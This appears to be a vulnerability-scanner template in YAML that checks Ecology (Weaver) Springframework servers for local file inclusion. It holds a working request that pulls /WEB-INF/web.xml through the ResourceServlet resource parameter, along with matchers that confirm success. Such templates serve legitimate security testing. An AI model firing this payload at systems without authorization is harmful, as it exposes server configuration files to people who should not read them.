id: ecology-springframework-directory-traversal

info:
  name: Ecology Springframework - Local File Inclusion
  author: princechaddha
  severity: high
  description: Ecology Springframework is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: ecology,springframework,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<url-pattern>/weaver/"
        part: body
# digest: 4b0a00483046022100e676868784bfc802857cc1cf84bb2fdfaa9a7d788e5d8886cf5241f73b6e909e022100d94cc0a05f1aea9fe65f1dc06300dc81a96aa4e8de558a29e356838273db3f9b:922c64590222798bb761d5b6d8e72950